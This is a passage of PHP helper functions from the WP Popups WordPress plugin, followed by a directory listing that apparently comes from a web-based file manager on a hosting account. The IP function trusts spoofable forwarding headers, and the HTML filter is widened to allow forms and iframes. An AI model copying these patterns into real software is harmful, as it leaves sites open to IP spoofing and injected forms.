	return esc_html__('I agree to the privacy policy and terms', 'wppopups-pro' );
}

/**
 * Default submit color based on theme
 *
 * @param $popup_data
 *
 * @return array [ bg, hover, border]
 */
function wppopups_default_optin_submit_color( $popup_data ) {
	$theme = isset( $popup_data['popup_hidden_class'] ) ? $popup_data['popup_hidden_class'] : 'default';

switch ( $theme ) {
		case 'spu-theme-coupon' :
			return [ '#E45757', '#7D3630', '#7D3630', '#FFFFFF' ];
			break;
		default:
			return [ '#E45757', '#7D3630', '#7D3630', '#FFFFFF' ];
			break;
	}
}

/**
 * Grab user IP from different possible sources
 * Credits to GeotargetingWP
 * @return string
 */
function wppopups_get_ip() {
	$ip = isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : '1.1.1.1';
	// cloudflare
	$ip = isset( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $ip;
	// reblaze
	$ip = isset( $_SERVER['X-Real-IP'] ) ? $_SERVER['X-Real-IP'] : $ip;
	// Sucuri
	$ip = isset( $_SERVER['HTTP_X_SUCURI_CLIENTIP'] ) ? $_SERVER['HTTP_X_SUCURI_CLIENTIP'] : $ip;
	// Ezoic
	$ip = isset( $_SERVER['X-FORWARDED-FOR'] ) ? $_SERVER['X-FORWARDED-FOR'] : $ip;
	// akamai
	$ip = isset( $_SERVER['True-Client-IP'] ) ? $_SERVER['True-Client-IP'] : $ip;
	// Clouways
	$ip = isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $ip;
	// get varnish first ip
	$ip = strstr( $ip, ',') === false ? $ip : strstr( $ip, ',', true);

return sanitize_text_field( apply_filters( 'wppopups_get_ip', $ip ) );
}

/**
 * Return information about pages if the popup has multiple pages.
 *
 * @since 1.3.7
 *
 * @param mixed $popup
 *
 * @return mixed false or an array
 */
function wppopups_get_pagebreak_details( $popup = false ) {

$popup_data = '';
	$details   = array();
	$pages     = 1;

if ( is_object( $popup ) && ! empty( $popup->post_content ) ) {
		$popup_data = wppopus_decode( $popup->post_content );
	} elseif ( is_array( $popup ) ) {
		$popup_data = $popup;
	}

if ( empty( $popup_data['fields'] ) ) {
		return false;
	}

foreach ( $popup_data['fields'] as $field ) {
		if ( isset($field['type']) && 'pagebreak' === $field['type'] ) {
			if ( empty( $field['position'] ) ) {
				$pages ++;
				$details['total']   = $pages;
				$details['pages'][] = $field;
			} elseif ( 'top' === $field['position'] ) {
				$details['top'] = $field;
			} elseif ( 'bottom' === $field['position'] ) {
				$details['bottom'] = $field;
			}
		}
	}

if ( ! empty( $details ) ) {
		if ( empty( $details['top'] ) ) {
			$details['top'] = [];
		}
		if ( empty( $details['bottom'] ) ) {
			$details['bottom'] = [];
		}
		$details['current'] = 1;

return $details;
	}

return false;
}

/**
 * Format, sanitize, and return/echo HTML element ID, classes, attributes,
 * and data attributes.
 *
 * @since 1.3.7
 *
 * @param string $id
 * @param array  $class
 * @param array  $datas
 * @param array  $atts
 * @param bool   $echo
 *
 * @return string
 */
function wppopups_html_attributes( $id = '', $class = array(), $datas = array(), $atts = array(), $echo = false ) {

$id    = trim( $id );
	$parts = array();

if ( ! empty( $id ) ) {
		$id = sanitize_html_class( $id );
		if ( ! empty( $id ) ) {
			$parts[] = 'id="' . $id . '"';
		}
	}

if ( ! empty( $class ) ) {
		$class = wppopups_sanitize_classes( $class, true );
		if ( ! empty( $class ) ) {
			$parts[] = 'class="' . $class . '"';
		}
	}

if ( ! empty( $datas ) ) {
		foreach ( $datas as $data => $val ) {
			$parts[] = 'data-' . sanitize_html_class( $data ) . '="' . esc_attr( $val ) . '"';
		}
	}

if ( ! empty( $atts ) ) {
		foreach ( $atts as $att => $val ) {
			if ( '0' == $val || ! empty( $val ) ) {
				if ( '[' === $att[0] ) {
					// Handle special case for bound attributes in AMP.
					$escaped_att = '[' . sanitize_html_class( trim( $att, '[]' ) ) . ']';
				} else {
					$escaped_att = sanitize_html_class( $att );
				}
				$parts[] = $escaped_att . '="' . esc_attr( $val ) . '"';
			}
		}
	}

$output = implode( ' ', $parts );

if ( $echo ) {
		echo trim( $output ); // phpcs:ignore
	} else {
		return trim( $output );
	}
}

/**
 * Get a suffix for assets, `.min` if debug is disabled.
 *
 * @since 1.4.1
 *
 * @return string
 */
function wppopups_get_min_suffix() {
	return wppopups_debug() ? '' : '.min';
}

/**
 * Determine if we should show the "Show Values" toggle for checkbox, radio, or
 * select fields in form builder. Legacy.
 *
 * @since 1.5.0
 *
 * @return bool
 */
function wppopups_show_fields_options_setting() {

return apply_filters( 'wppopups_fields_show_options_setting', false );
}

/**
 * Get the required label text, with a filter.
 *
 * @since 1.4.4
 *
 * @return string
 */
function wppopups_get_required_label() {
	return apply_filters( 'wppopups_required_label', esc_html__( 'This field is required.', 'wp-popups-lite' ) );
}

/**
 * Get the required field label HTML, with a filter.
 *
 * @since 1.4.8
 *
 * @return string
 */
function wppopups_get_field_required_label() {

$label_html = apply_filters_deprecated(
		'wppopups_field_required_label',
		array( ' <span class="wppopups-required-label">*</span>' ),
		'1.4.8 of WPPopups plugin',
		'wppopups_get_field_required_label'
	);

return apply_filters( 'wppopups_get_field_required_label', $label_html );
}

/**
 * @param $popups
 */
function wppopups_get_ids( $popups ) {
	$ids = [];
	if ( is_array( $popups ) ) {
		foreach ( $popups as $p ) {
			$ids[ $p->id ] = $p->title;
		}
	}
	return $ids;
}

function wppopups_kses_post_with_iframe($content) {
    // Get the default allowed tags
    $allowed_tags = wp_kses_allowed_html('post');

// Add <iframe> to the allowed tags
    $allowed_tags['iframe'] = [
        'src'             => true,
        'width'           => true,
        'height'          => true,
        'frameborder'     => true,
        'allowfullscreen' => true,
        'allow'           => true,
        'sandbox'         => true,
    ];

// Add <form> to the allowed tags
    $allowed_tags['form'] = [
        'action' => true,
        'method' => true,
        'id'     => true,
        'class'  => true,
        'name'   => true,
    ];

// Add <select> to the allowed tags
    $allowed_tags['select'] = [
        'id'     => true,
        'class'  => true,
        'name'   => true,
        'multiple' => true,
    ];

// Add <input> to the allowed tags
    $allowed_tags['input'] = [
        'type'        => true,
        'id'          => true,
        'class'       => true,
        'name'        => true,
        'value'       => true,
        'placeholder' => true,
        'required'    => true,
        'checked'     => true,
        'disabled'    => true,
    ];

// Use wp_kses with the modified allowed tags
    return wp_kses($content, $allowed_tags);
}

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
class-content-templates.p...-.	f!le	2026-03-18 10:01	2.84 KB	golfanj / users	-rw-r--r--
class-fields.php	f!le	2026-03-18 10:01	1.74 KB	golfanj / users	-rw-r--r--
class-install.php	f!le	2026-03-18 10:01	2.82 KB	golfanj / users	-rw-r--r--
class-logging.php	f!le	2026-03-18 10:01	8.08 KB	golfanj / users	-rw-r--r--
class-popup-handler.php	f!le	2026-03-18 10:01	14.42 KB	golfanj / users	-rw-r--r--
class-popup.php	f!le	2026-03-18 10:01	3.11 KB	golfanj / users	-rw-r--r--
class-preview.php	f!le	2026-03-18 10:01	5.46 KB	golfanj / users	-rw-r--r--
class-printer.php	f!le	2026-03-18 10:01	21.72 KB	golfanj / users	-rw-r--r--
class-rules.php	f!le	2026-03-18 10:01	41.99 KB	golfanj / users	-rw-r--r--
class-templates.php	f!le	2026-03-18 10:01	1.34 KB	golfanj / users	-rw-r--r--
functions.php	f!le	2026-03-18 10:01	37.01 KB	golfanj / users	-rw-r--r--